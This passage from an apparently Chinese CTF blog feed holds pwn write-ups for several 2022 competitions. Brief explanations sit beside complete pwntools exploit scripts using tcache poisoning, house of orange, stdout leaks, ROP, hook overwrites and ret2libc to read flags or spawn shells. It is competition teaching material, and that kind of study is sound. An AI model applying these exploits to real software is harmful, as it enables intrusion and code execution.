    io.sendlineafter(&apos;Your choose which one?\n&apos;, &apos;1&apos;) 
    io.sendlineafter(&apos;please input note size : &apos;, str(size)) 
    io.sendlineafter(&apos;please input your note.\n&apos;, content) 
def add2(size, content): 
    io.sendlineafter(&apos;Your choose which one?\n&apos;, &apos;1&apos;) 
    io.sendlineafter(&apos;please input note size : &apos;, str(size)) 
    io.sendafter(&apos;please input your note.\n&apos;, content) 

def edit(idx, content): 
    io.sendlineafter(&apos;Your choose which one?\n&apos;, &apos;2&apos;) 
    io.sendlineafter(&apos;please input note index.\n&apos;, str(idx)) 
    io.sendlineafter(&apos;please input new note.\n&apos;, content) 

def show(idx): 
    io.sendlineafter(&apos;Your choose which one?\n&apos;, &apos;3&apos;) 
    io.sendlineafter(&apos;please input note index.\n&apos;, str(idx)) 
def delete(idx): 
    io.sendlineafter(&apos;Your choose which one?\n&apos;, &apos;4&apos;) 
    io.sendlineafter(&apos;please input note index.\n&apos;, str(idx))

# gdb.attach(io)
stack_offset = 0x120
add(0x28, &apos;aaaa&apos;) # 0
for i in range(10):
    add(0xb0, &apos;aaaaaa&apos;) # 1 ~ 10
for i in range(10):
    delete(i)
for i in range(7):
    add(0xb0, &apos;aaaaa&apos;)
add2(0xb0, &apos;a&apos;)
show(7)
libc_base = u64(io.recv(8)) - (0x7f3a3e885d61 - 0x7f3a3e699000 )
log.success(&apos;libc_base:&apos;+hex(libc_base))

environ = 0x01EF600 + libc_base 
log.success(&apos;environ:&apos;+hex(environ))

add(0x28, &apos;aaaa&apos;) # 8
add(0xb0, &apos;aaaa&apos;) # 9

add(0x28, &apos;aaaa&apos;) # 11 vuln
add(0x28, &apos;aaaa&apos;) # 12 edit
add(0x28, &apos;aaaa&apos;) # 13
add(0x28, &apos;aaaa&apos;) # 14
add(0x28, &apos;aaaa&apos;) # 15
add(0x28, &apos;aaaa&apos;) # 16

edit(11,&apos;a&apos; *0x28+&apos;\xc1&apos;)
delete(12)
add(0xb0, &apos;aaaaa&apos;)
add(0x28, &apos;aaaa&apos;) # 17
delete(17)
delete(13)

edit(12, &apos;a&apos;*0x28+p64(0x31)+p64(environ-0x10))

add(0x28, &apos;aaaa&apos;) # 13
add2(0x28, &apos;a&apos;*0x10) # 17

show(17)
io.recv(16)
stack_base = u64(io.recv(8)) # - 0x1f438 

log.success(&apos;stack_base:&apos;+hex(stack_base))

pop_rdi = 0x0000000000023b72 + libc_base
pop_rsi = libc_base + 0x000000000002604f
pop_rdx_rcx_rbx = libc_base + 0x00000000001025ad
def func(a, b, c, d):
    pp = p64(pop_rdi) + p64(a)
    pp += p64(pop_rsi) + p64(b)
    pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0)
    return pp

libc = ELF(&apos;./libc-2.31.so&apos;)
libc.address = libc_base
flag_path = &apos;/home/pwn/flag\x00&apos;

flag_path_addr = stack_base + 0x150
add(0x28, &apos;aaaa&apos;) # 18
add(0x28, &apos;aaaa&apos;) # 19
delete(19)
delete(18)
delete(13)
edit(12, &apos;a&apos;*0x28+p64(0x31)+p64(flag_path_addr))
add(0x28, &apos;aaaa&apos;) # 13
add2(0x28, flag_path) # 18

edit(12, &apos;a&apos;*0x28+p64(0xc1))
add(0xb0, &apos;aaaaa&apos;) # 19
delete(19)
delete(13)

add_ret =  stack_base - stack_offset

edit(12, &apos;a&apos;*0x28+p64(0xc1) + p64(add_ret))
add(0xb0, &apos;aaaa&apos;) # 13


p = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym[&apos;mmap&apos;])
p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym[&apos;read&apos;]) 
p += p64(0x23330000)
log.success(&apos;len:&apos; + hex(len(p)))

add(0xb0, p)
context(arch=&apos;amd64&apos;)
if sc == &apos;&apos;:
    sc = asm(shellcraft.open(&apos;./flag&apos;))
    sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30))
    sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))

# gdb.attach(io)
time.sleep(0.2)
io.send(sc)


io.interactive() 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;easyheap&lt;/h1&gt;
&lt;h2&gt;题目&lt;/h2&gt;
&lt;p&gt;https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/easyheap.zip&lt;/p&gt;
&lt;h2&gt;解题思路&lt;/h2&gt;
&lt;p&gt;主要漏洞在，v3局部变量可能未初始化，可以提前布置栈帧，达到任意位置写入堆地址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2022gdCTF-pwn/image-20220524094853062.png&quot; alt=&quot;image-20220524094853062&quot; /&gt;&lt;/p&gt;
&lt;p&gt;以及还有一个backdoor函数，可以堆上任意写8字节（虽然只有一次，但利用上边的漏洞可以无限次）&lt;/p&gt;
&lt;p&gt;利用house of orange，修改_IO_2_stdout_，泄露libc_base，再次利用泄露environ地址，栈地址，heap基址&lt;/p&gt;
&lt;p&gt;之后利用修改tcachebin上的fd指针，参考midpwn的解法，修改add函数的返回地址，写入orw ROP，获得flag&lt;/p&gt;
&lt;h2&gt;Exp&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import ctypes
import time

context(arch=&quot;amd64&quot;)
context.log_level = &apos;debug&apos;
getIO = lambda:process([&apos;./ld-2.31.so&apos;, &apos;./easyheap&apos;], env={&apos;LD_PRELOAD&apos;: &apos;./libc-2.31.so&apos;})
io = getIO()

def add(size, cont):
    io.sendlineafter(&apos;4.delete\n&apos;, &apos;1&apos;)
    io.sendlineafter(&apos;Size?\n&apos;, str(size))
    io.sendafter(&apos;Context:\n&apos;, cont)

def add2(size, offset, cont):
    pp = &apos;1\x00&apos;
    pp += &apos;\x00&apos; * (12 - len(pp))
    pp += p32(ctypes.c_uint32(offset).value)
    io.sendafter(&apos;4.delete\n&apos;, pp)
    io.sendlineafter(&apos;Size?\n&apos;, str(size))
    io.sendlineafter(&apos;Context:\n&apos;, cont)

def add3(size, offset, cont):
    pp = &apos;1\x00&apos;
    pp += &apos;\x00&apos; * (12 - len(pp))
    pp += p32(ctypes.c_uint32(offset).value)
    io.sendafter(&apos;4.delete&apos;, pp)
    io.sendlineafter(&apos;Size?&apos;, str(size))
    io.sendafter(&apos;Context:&apos;, cont)

def edit(idx, cont):
    io.sendlineafter(&apos;4.delete\n&apos;, &apos;2&apos;)
    io.sendlineafter(&apos;Idx?\n&apos;, str(idx))
    io.sendlineafter(&apos;Context:\n&apos;, cont)

def edit2(idx, cont):
    io.sendlineafter(&apos;4.delete&apos;, &apos;2&apos;)
    io.sendlineafter(&apos;Idx?&apos;, str(idx))
    io.sendafter(&apos;Context:&apos;, cont)

def backdoor(size, offset, cont):
    io.sendlineafter(&apos;4.delete\n&apos;, &apos;666&apos;)
    io.sendlineafter(&apos;Size?\n&apos;, str(size))
    io.sendlineafter(&apos;Offset?\n&apos;, str(offset))
    io.sendafter(&apos;Context:\n&apos;, cont)

def backdoor2(size, offset, cont):
    io.sendlineafter(&apos;4.delete&apos;, &apos;666&apos;)
    io.sendlineafter(&apos;Size?&apos;, str(size))
    io.sendlineafter(&apos;Offset?&apos;, str(offset))
    io.sendafter(&apos;Context:&apos;, cont)

while 1:
    fake_size = 0x061 + 0x1000*1
    # add(,&apos;aaaaa&apos;)
    backdoor(0x18, 0x6b8, p64(fake_size))
    add(0x2000, &apos;aaaaa&apos;)
    add(0x20, &apos;a&apos;)
    add(0x20, &apos;aaa&apos;)
    add(0x20, &apos;aaa&apos;)
    add(0x20, &apos;aaa&apos;)
    add(0x20, &apos;aaa&apos;)
    add(0x20, &apos;aaa&apos;)

    add2(0x10, -10, &apos;aaa&apos;)

    backdoor(0x18, -3080, &apos;\xb0&apos;)
    # backdoor(0x18, -32, &apos;\xb0&apos;)
    backdoor(0x18, -3616+6, p32(0x7))
    stdout_in = 0x16a0

    backdoor(0x18, 800, &apos;\xa0\x16&apos;)

    # add2(0x18, 0, &apos;aa&apos;)
    flag = 0xfbad1800
    # add2(0x18, )
    add2(0x48, 1, &apos;aa&apos;)
    try:
        add2(0x48, 0, p64(flag)+p64(0)*3 + &apos;\x08&apos;)
        inp = io.recv(8,timeout=0.2)
        if &apos;1.add&apos; in inp:
            assert 1 == 2
        stdin_addr = u64(inp)
        log.success(&apos;stdin_addr:&apos;+hex(stdin_addr))
        break
    except:
        io.close()
        io = getIO()

libc_base = stdin_addr - 0x1ee7f0
log.success(&apos;libc_base:&apos;+hex(libc_base))

main_arena_96 = 0x1ecbe0 + libc_base
edit2(0, p64(flag)+p64(0)*3 + p64(main_arena_96))

heap_base = u64(io.recv(8)) -0x23010  
log.success(&apos;heap_base:&apos;+hex(heap_base))

environ = 0x228138 + libc_base # 偏移量可能不同
edit2(0, p64(flag)+p64(0)*3 + p64(environ) + p64(environ+0x10) + p64(environ+0x10))
log.success(&apos;environ:&apos;+hex(environ))

stack_environ = u64(io.recv(8))
log.success(&apos;stack_environ:&apos;+hex(stack_environ))

rax_0 = 0x00000000000b1d89 + libc_base # xor rax, rax ; ret
rax_1 = 0x00000000000cfb50 + libc_base #  mov rax, 1 ; ret
rax_2 = 0x00000000000cfb60 + libc_base #  mov rax, 2 ; ret
pop_rdi = 0x0000000000023b72 + libc_base # pop rdi ; ret
pop_rsi = 0x000000000002604f + libc_base # pop rsi ; ret
xchg_eax_edi = 0x00000000000f1b95 + libc_base # xchg eax, edi ; ret
syscall = 0x00000630D9 + libc_base # syscall; ret in (funlockfile) 


vuln_stack_tar = stack_environ - 0x138 + 0x20
backdoor2(0x18, -512, p64(vuln_stack_tar))

add3(0xf0-8, 1, &apos;aaaaaa&apos;)
# io.sendafter(&apos;4.delete&apos;, &apos;1&apos;)
# io.sendlineafter(&apos;Size?&apos;, )

rop_tmp = [
    pop_rdi, 0xadd,
    pop_rsi, 0,
    rax_2, syscall, # open
    xchg_eax_edi, # eax -&amp;gt; edi fd
    pop_rsi, 0xadd,
    rax_0, syscall, # read
    pop_rdi, 1, 
    rax_1, syscall # write
]
rop_tmp[1] = rop_tmp[8] = vuln_stack_tar + len(rop_tmp) * 8
rop_tmp = flat(rop_tmp) + &apos;./flag\x00&apos;

# gdb.attach(io)
add3(0xf0-8, 1, rop_tmp)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;其他&lt;/h2&gt;
&lt;p&gt;赛后的补题，比赛没时间了（菜），本地记得新建./flag文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2022gdCTF-pwn/image-20220524095329685.png&quot; alt=&quot;image-20220524095329685&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>[2022春秋杯] Pwn chunzhiIot wp</title><link>https://blog.csome.cc/p/2022cqb-pwn-chunzhiIot/</link><guid isPermaLink="true">https://blog.csome.cc/p/2022cqb-pwn-chunzhiIot/</guid><pubDate>Mon, 09 May 2022 01:02:18 GMT</pubDate><content:encoded>&lt;h1&gt;题目&lt;/h1&gt;
&lt;p&gt;https://gitee.com/csomebro/ctftask/blob/master/2022-05_%E6%98%A5%E7%A7%8B%E6%9D%AF/chunzhiIot.zip&lt;/p&gt;
&lt;h1&gt;解题&lt;/h1&gt;
&lt;p&gt;简单的UAF堆题，套上了一个解析Http请求的背景，首先需要逆向找到合适的构造http请求头的方法，找到堆题经典增删查改的函数，发现删除操作中没有清空指针。故可以UAF。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2022cqb-pwn-chunzhiIot/image-20220509010547875.png&quot; alt=&quot;image-20220509010547875&quot; /&gt;&lt;/p&gt;
&lt;p&gt;有个小细节libc 2.33之后tcache bin的fd指针加了一层加密，需要多泄露堆地址。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2022cqb-pwn-chunzhiIot/image-20220509010931252.png&quot; alt=&quot;image-20220509010931252&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2022cqb-pwn-chunzhiIot/image-20220509011033291.png&quot; alt=&quot;image-20220509011033291&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exp&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level=&apos;debug&apos;

LOCAL = 1
getIO = (lambda : process([&apos;./ld-2.33.so&apos;,&apos;./pwn&apos;], env={&apos;LD_PRELOAD&apos;:&apos;./libc.so&apos;})) if LOCAL else (lambda : remote(&apos;101.200.198.40&apos;,40629))

libc = ELF(&apos;./libc.so&apos;)

io = getIO()

def http(op, content):
    s = &apos;{0} /s HTTP/1.0\r\n&apos;.format(op)
    s += &apos;a:a\r\n&apos;*14
    s += content
    return s

def add(_id, size, content):
    s = &apos;\x01&amp;amp;{0}&amp;amp;{1}&amp;amp;{2}&apos;.format(_id, size, content)
    io.sendafter(&apos;Waiting Package...\n&apos;,http(&apos;POST&apos;, s))

def show(_id):
    s = &apos;\x03&amp;amp;{0}&apos;.format(_id)
    io.sendafter(&apos;Waiting Package...\n&apos;,http(&apos;POST&apos;, s))

def delete(_id):
    s = &apos;\x04&amp;amp;{0}&apos;.format(_id)
    io.sendafter(&apos;Waiting Package...\n&apos;,http(&apos;POST&apos;, s))

def edit(_id, content):
    s = &apos;\x02&amp;amp;{0}&amp;amp;{1}&apos;.format(_id, content)
    io.sendafter(&apos;Waiting Package...\n&apos;,http(&apos;POST&apos;, s))

io.sendafter(&apos;Waiting Package...\n&apos;,http(&apos;DEV&apos;, &apos;rotartsinimda&apos;))
# io.sendline()
add(0, 0x420, &apos;aaaaaa&apos;)
add(1, 0x20, &apos;aaaaaa&apos;)
# add(14, 0x420, &apos;aaaaa&apos;)
# add(15, 0x420, &apos;aaaaa&apos;)
delete(0)
add(2, 0x1, &apos;\x01\x00&apos;)
show(2)

io.recvuntil(&apos;Content-Length: &apos;)
io.recvuntil(&apos;\n&apos;)
main_arena = u64(io.recv(6).ljust(8, &apos;\x00&apos;)) - 865
log.success(&apos;main_arena:&apos;+hex(main_arena))
libc_base = main_arena - 1969056
log.success(&apos;libc_base:&apos;+hex(libc_base))

add(3, 0x10, &apos;aaaaa&apos;)
add(4, 0x10, &apos;aaaaa&apos;)

delete(2)
add(5, 0x10, &apos;a&apos;*0x10)
show(5)

io.recvuntil(&apos;Content-Length: &apos;)
io.recvuntil(&apos;\n&apos;)
io.recvuntil(&apos;aaaaaaaaaaaaaaaa&apos;)
heap_addr = u64(io.recv(6).ljust(8, &apos;\x00&apos;))
log.success(&apos;heap_addr:&apos;+hex(heap_addr))

delete(4)
delete(3)

def encode(addr, tar): # attack PROTECT_PTR
    return (addr &amp;gt;&amp;gt; 12) ^ tar

edit(3, p64(encode(heap_addr+0x30,libc.sym[&apos;__free_hook&apos;]+libc_base))+&apos;\x00&apos;)

ogg = [0xde78c,0xde78f,0xde792]
add(6, 0x10, &apos;/bin/sh\x00&apos;)
add(7, 0x8, p64(libc.sym[&apos;system&apos;]+libc_base)+&apos;\x00&apos;)

gdb.attach(io)
# add(6, 0x1, &apos;a&apos;)
delete(6)


io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一次pwn题三血，纪念一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2022cqb-pwn-chunzhiIot/55b9e32e2405a1300dd7020c6ceea0f.png&quot; alt=&quot;55b9e32e2405a1300dd7020c6ceea0f&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>[2022*CTF] Pwn examination wp</title><link>https://blog.csome.cc/p/xinCTF-pwn-wp/</link><guid isPermaLink="true">https://blog.csome.cc/p/xinCTF-pwn-wp/</guid><pubDate>Tue, 19 Apr 2022 11:19:30 GMT</pubDate><content:encoded>&lt;h1&gt;题目&lt;/h1&gt;
&lt;p&gt;https://gitee.com/csomebro/ctftask/blob/master/2022-04_%2ACTF/examination.zip&lt;/p&gt;
&lt;h1&gt;解题&lt;/h1&gt;
&lt;p&gt;角色扮演的pwn题，可以切换学生和老师&lt;/p&gt;
&lt;p&gt;发现了好多漏洞，估计是考漏洞的利用，当然解法可能就不止一种&lt;/p&gt;
&lt;p&gt;主要利用的漏洞：无符号数减法负数溢出，student role下的set mode中可以修改内存中的指针导致堆块堆叠&lt;/p&gt;
&lt;p&gt;只用到一次free&lt;/p&gt;
&lt;p&gt;思路，构造一个mode chunk使得这个chunk在comment chunk1的上方，以及另一个comment chunk2在其下方，然后pray一下，将指针下移16个字节，使得可以操控comment chunk的size位置，修改size为0x421绕过tcache，释放到unsorted bin，同时布置好comment chunk2的中伪造一个size位置，这个时候重新在分配一个和comment chunk1大小相同的commend chunk就会切割unsorted bin，使得main_arena的地址向后推移，写入comment chunk2，这个时候read comment chunk2就能够泄露libc基址，同样的手法，再add student，分配的student node和test node都会切割unsorted bin中的块，这个时候切割的unsorted bin就是之前堆块堆叠导致的comment chunk2，那我们就能够控制student node和test node，修改test node中的comment地址__malloc_hook，再向malloc_hook中写入ogg，再调用teacher role的pray，就能够getshell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xinCTF-pwn-wp/image-20220419112429213.png&quot; alt=&quot;image-20220419112429213&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xinCTF-pwn-wp/image-20220419112443070.png&quot; alt=&quot;image-20220419112443070&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exp&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level=&apos;debug&apos;
# io = process([&apos;./ld-2.31.so&apos;, &apos;./examination&apos;], env={&apos;LD_PRELOAD&apos;:&apos;./libc-2.31.so&apos;})
io = remote(&apos;124.70.130.92&apos;, 60001)

roleg = 0
idg = -1
lazy_map = {}
reward_map = {}

def change_role(role):
    global roleg, idg
    roleg = role
    if role == 0:
        idg = -1
    io.sendlineafter(&apos;choice&amp;gt;&amp;gt; &apos;, &apos;5&apos;)
    io.sendlineafter(&apos;role: &amp;lt;0.teacher/1.student&amp;gt;: &apos;, str(role))

def t_addstu(quesqtion_num):
    (lambda x: (change_role(x) if roleg != x else 0))(0)
    io.sendlineafter(&apos;choice&amp;gt;&amp;gt; &apos;, &apos;1&apos;)
    rt = io.recv(5)
    if &apos;enter&apos; in rt:
        io.sendlineafter(&apos;questions: &apos;,str(quesqtion_num))
    else:
        print rt

def t_getshell():
    (lambda x: (change_role(x) if roleg != x else 0))(0)
    io.sendlineafter(&apos;choice&amp;gt;&amp;gt; &apos;, &apos;6&apos;)
    

def t_givescore():
    (lambda x: (change_role(x) if roleg != x else 0))(0)
    io.sendlineafter(&apos;choice&amp;gt;&amp;gt; &apos;, &apos;2&apos;)
    io.recvuntil(&apos;marking testing papers.....\n&apos;)
    rt = io.recvuntil(&apos;finish\n&apos;, drop=True)
    rt = rt.strip().split(&apos;\n&apos;)
    def f(ss):
        ss = ss.replace(&apos;score for the &apos;, &apos;&apos;)
        # print(ss)
        a = int(ss[:ss.find(&apos;th&apos;)])
        b = int(ss[ss.find(&apos;is &apos;)+3:])
        return (a, b)
    ans = []
    # print(rt)
    for sr in rt:
        # print(sr)
        if &apos;b@d!&apos; in sr:
            continue
        # print sr
        ans.append(f(sr))
    return ans

def t_comment(_id, comment, size):
    (lambda x: (change_role(x) if roleg != x else 0))(0)
    io.sendlineafter(&apos;choice&amp;gt;&amp;gt; &apos;, &apos;3&apos;)
    io.sendlineafter(&apos;which one? &amp;gt; &apos;, str(_id))
    rt = io.recv(5)
    if &apos;pleas&apos; in rt:
        io.sendlineafter(&apos;size of comment: &apos;, str(size))
    io.sendlineafter(&apos;ur comment:\n&apos;, comment)

def t_free(_id):
    (lambda x: (change_role(x) if roleg != x else 0))(0)
    io.sendlineafter(&apos;choice&amp;gt;&amp;gt; &apos;, &apos;4&apos;)
    io.sendlineafter(&apos;which student id to choose?\n&apos;, str(_id))
    lazy_map[_id] = 0
    reward_map[_id] = 0


def s_change_id(_id):
    global idg
    (lambda x: (change_role(x) if roleg != x else 0))(1)
    io.sendlineafter(&apos;choice&amp;gt;&amp;gt; &apos;, &apos;6&apos;)
    io.sendlineafter(&apos;input your id: &apos;, str(_id))
    idg = _id

def s_pray(_id):
    (lambda x: (change_role(x) if roleg != x else 0))(1)
    (lambda x: (s_change_id(x) if idg != x else 0))(_id)
    io.sendlineafter(&apos;choice&amp;gt;&amp;gt; &apos;, &apos;3&apos;)
    lazy_map[_id] = 1 - lazy_map.get(_id, 0)

def s_set_mode(_id, mode):
    (lambda x: (change_role(x) if roleg != x else 0))(1)
    (lambda x: (s_change_id(x) if idg != x else 0))(_id)
    io.sendlineafter(&apos;choice&amp;gt;&amp;gt; &apos;, &apos;4&apos;)
    rt = io.recvuntil(&apos;\n&apos;)
    if &apos;mode&apos; in rt:
        io.sendline(mode)
    else:
        io.sendline(str(mode))

def s_check_review(_id, to_reward, fx, has_comment, tf=lambda x: x):
    if reward_map.get(_id, 0) == 1:
        return
    if to_reward:
        s_pray(_id)
        while True:
            tmp = t_givescore()
            tmp = dict(tmp)
            assert _id in tmp
            if tmp[_id] &amp;lt; 10:
                break
    (lambda x: (change_role(x) if roleg != x else 0))(1)
    (lambda x: (s_change_id(x) if idg != x else 0))(_id)
    io.sendlineafter(&apos;choice&amp;gt;&amp;gt; &apos;, &apos;2&apos;)
    if to_reward:
        io.recvuntil(&apos;Good Job! Here is your reward! &apos;)
        target_addr = int(io.recvuntil(&apos;\n&apos;, drop=True), 16)
        tf(target_addr)
        target_addr = fx(target_addr)
        io.sendafter(&apos;add 1 to wherever you want! addr: &apos;, str(target_addr))
        reward_map[_id] = 1
    if has_comment:
        io.recvuntil(&apos;here is the review:\n&apos;)
        


io.sendlineafter(&apos;role: &amp;lt;0.teacher/1.student&amp;gt;: &apos;, str(roleg))
for i in range(7):
    t_addstu(9)

# t_comment(6, &apos;sss&apos;, )
# s_set_mode(3, &apos;asdf&apos;)
s_set_mode(4, &apos;asdf&apos;)
s_set_mode(5, &apos;asdf&apos;)

t_comment(6, &apos;sss&apos;, 0x300)
t_comment(5, &apos;a&apos;*0x100+p64(0)+p64(0x201), 0x300)

s_pray(5)
s_set_mode(5, 32)
s_pray(5)
s_set_mode(5, &apos;q&apos;*8 + p64(0x421))

t_free(6)
t_comment(4, &apos;sss&apos;, 0x300)

s_check_review(5, False, null, True)
main_arena = u64(io.recv(8)) - 96

libc_base = main_arena - 0x00001ECB80
log.success(&quot;libc_base: &quot; + hex(libc_base))

t_addstu(1)
t_comment(6, &apos;sss&apos;, 0x300)

heap_addr = 0
def ftmp(addr):
    global heap_addr
    heap_addr = addr

s_check_review(6, True, lambda x: x-0x10, True, ftmp)
log.success(&apos;heap_addr: &apos; + hex(heap_addr))

libc = ELF(&apos;./libc-2.31.so&apos;)
malloc_hook = libc.sym[&apos;__malloc_hook&apos;] + libc_base

p = p64(heap_addr+0x30) + p64(0)*2 + p64(0x100000001) + p64(0) + p64(0x21) + p64(0x100000001) + p64(malloc_hook) + p64(8)
t_comment(5, p, 0x300)

ogg = [0xe3b2e, 0xe3b31, 0xe3b34]

t_comment(6, p64(ogg[1]+libc_base), 0x300)

t_getshell()

# gdb.attach(io)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[2022HFCTF] Pwn babygame</title><link>https://blog.csome.cc/p/HFCTF-Pwn-babygame/</link><guid isPermaLink="true">https://blog.csome.cc/p/HFCTF-Pwn-babygame/</guid><pubDate>Tue, 22 Mar 2022 19:04:57 GMT</pubDate><content:encoded>&lt;h1&gt;babygame&lt;/h1&gt;
&lt;h2&gt;题目附件&lt;/h2&gt;
&lt;p&gt;https://gitee.com/csomebro/ctftask/blob/master/20220-03_HFCTF/babygame.tar&lt;/p&gt;
&lt;h2&gt;分析&lt;/h2&gt;
&lt;p&gt;漏洞点就是栈溢出+格式化字符串，保护全开，需要泄露canary、函数加载地址、libc加载地址、栈地址。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;HFCTF-Pwn-babygame/image-20220322191413025.png&quot; alt=&quot;image-20220322191413025&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以在read的时候将，v5的值覆盖，从而操控seed&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;HFCTF-Pwn-babygame/image-20220322191517350.png&quot; alt=&quot;image-20220322191517350&quot; /&gt;&lt;/p&gt;
&lt;p&gt;总结&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;第一次read的时候，输入到覆盖canary的最低字节，在printf(&quot;%s&quot;)泄露canary地址，同时在gdb调试的时候发现同时会泄露栈地址&lt;/li&gt;
&lt;li&gt;attack_random之后进入格式化字符串，此时需要泄露函数加载地址，并且需要修改函数返回地址组最低位为0x39（调试的时候发现可以同时泄露libc加载地址）&lt;/li&gt;
&lt;li&gt;重新进入printf(buf)中，利用pwnlib中的fmtstr_payload修改函数返回地址到main函数开始&lt;/li&gt;
&lt;li&gt;此时回到read(0, buf, 0x256)，正式进入栈溢出，ret2libc。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;exp&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import time

context.log_level = &apos;info&apos;


def rand_():
    rd.sendlineafter(&apos;&amp;gt;&apos;, &apos;1&apos;)
    rd.recvuntil(&apos;!&amp;gt;&apos;)
    return int(rd.recvuntil(&apos;\n&apos;), 16)

def attack_rand():
    tmp = rand_() % 3
    if tmp == 0:
        return 1
    elif tmp == 1:
        return 2
    elif tmp == 2:
        return 0

io = process([&apos;./ld-2.31.so&apos;, &apos;./babygame&apos;], env={&apos;LD_PRELOAD&apos;: &apos;./libc-2.31.so&apos;})
# io = remote(&apos;120.25.205.249&apos;, 38573)
# rd = process(&apos;./rd&apos;)
# gdb.attach(io)

def pwn():
    global io, rd
    tmppp = 0x210
    while True:
        io.sendlineafter(&apos;Please input your name:&apos;, &apos;1&apos; * (0x108))
        rd.sendlineafter(&apos;&amp;gt;&apos;, str(int(&apos;0x31313131&apos;, 16)))

        io.recvuntil(&apos;111\n&apos;)
        canary = io.recv(7).rjust(8,&apos;\x00&apos;)
        canary = u64(canary)
        log.success(&apos;canary: &apos;+hex(canary))

        inp = io.recv(6).ljust(8, &apos;\x00&apos;)
        inp = u64(inp)
        log.success(&apos;stack: &apos;+hex(inp))


        context.clear(arch = &apos;amd64&apos;, log_level=&apos;info&apos;)

        for _ in range(100):
            io.sendlineafter(&apos;: \n&apos;, str(attack_rand()))

        context.clear(arch = &apos;amd64&apos;, log_level=&apos;debug&apos;)
        # p1 = &quot;-%p- -%p-&quot;
        # p = fmtstr_payload(6, {inp-0x210: 0x39}, write_size=&apos;byte&apos;).replace(&apos;lln&apos;, &apos;hhn&apos;)

        p1 = &apos;-%41$p--%27$p-&apos;
        tmp = 0x39 - 0x22
        pt = &quot;%&quot; +str(tmp)+ &quot;c&quot; + &quot;%10$hhn&quot;
        p = p1 + &apos;[&apos; * (0x10 - len(p1)) + pt + &apos;b&apos; * (0x10-len(pt)) + p64(inp-tmppp)

        io.sendlineafter(&apos;Good luck to you.&apos;, p)

        # s = io.recvuntil(&apos;[&apos; * (0x10 - len(p1)))
        # print s
        # print hex(len(s))

        io.recvuntil(&apos;-&apos;)
        func_addr = int(io.recvuntil(&apos;-&apos;,drop=True), 16) - 0x000001543
        log.success(&apos;func_addr:&apos; + hex(func_addr))

        io.recvuntil(&apos;-&apos;)
        atoi_addr = int(io.recvuntil(&apos;-&apos;, drop=True), 16) - 20
        log.success(&apos;atoi_addr:&apos; + hex(atoi_addr))


        libc = ELF(&apos;./libc-2.31.so&apos;)
        libc_base = atoi_addr - libc.sym[&apos;atoi&apos;]
        log.success(&apos;libc_base:&apos; + hex(libc_base))
        context.clear(arch = &apos;amd64&apos;, log_level=&apos;info&apos;)
        p = fmtstr_payload(6, {inp-tmppp: func_addr+0x000000014B6}, write_size=&apos;byte&apos;)

        try:
            io.sendlineafter(&apos;Good luck to you.&apos;, p)

            pop_rdi = 0x0015D2 + 1
            sys_addr = libc.sym[&apos;system&apos;]

            binsh = libc.search(&apos;/bin/sh&apos;).next()

            # gdb.attach(io)

            p = &apos;a&apos; * 0x108 + p64(canary) + p64(0) * 3 + p64(pop_rdi+func_addr+1) + p64(pop_rdi+func_addr) + p64(binsh + libc_base) + p64(sys_addr+libc_base)
            io.sendlineafter(&apos;Please input your name:&apos;, p)
            io.sendlineafter(&apos;: \n&apos;, str(attack_rand()+1))
            print hex(tmppp)
            break
        except:
            tmppp += 8
            log.info(&quot;tmp:  &quot;, hex(tmppp))
            # io.close()
            rd.close()
            io = process([&apos;./ld-2.31.so&apos;, &apos;./babygame&apos;], env={&apos;LD_PRELOAD&apos;: &apos;./libc-2.31.so&apos;})
            # io = remote(&apos;120.25.205.249&apos;, 38573)
            rd = process(&apos;./rd&apos;)



pwn()
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;小插曲：原来脚本地能跑通，远程打不通，然后我也没注意到q群有说明是更新了附件，自我分析了一点，怀疑是canary底下的栈地址本地和远程的偏移量不同，所以写了一个偏移量的爆破。&lt;/p&gt;
</content:encoded></item><item><title>SUSCTF pwn wp</title><link>https://blog.csome.cc/p/SUSCTF-wp/</link><guid isPermaLink="true">https://blog.csome.cc/p/SUSCTF-wp/</guid><pubDate>Tue, 01 Mar 2022 15:46:32 GMT</pubDate><content:encoded>&lt;h1&gt;Happytree&lt;/h1&gt;
&lt;h2&gt;题目附件&lt;/h2&gt;
&lt;p&gt;https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/happytree.zip&lt;/p&gt;
&lt;h2&gt;分析&lt;/h2&gt;
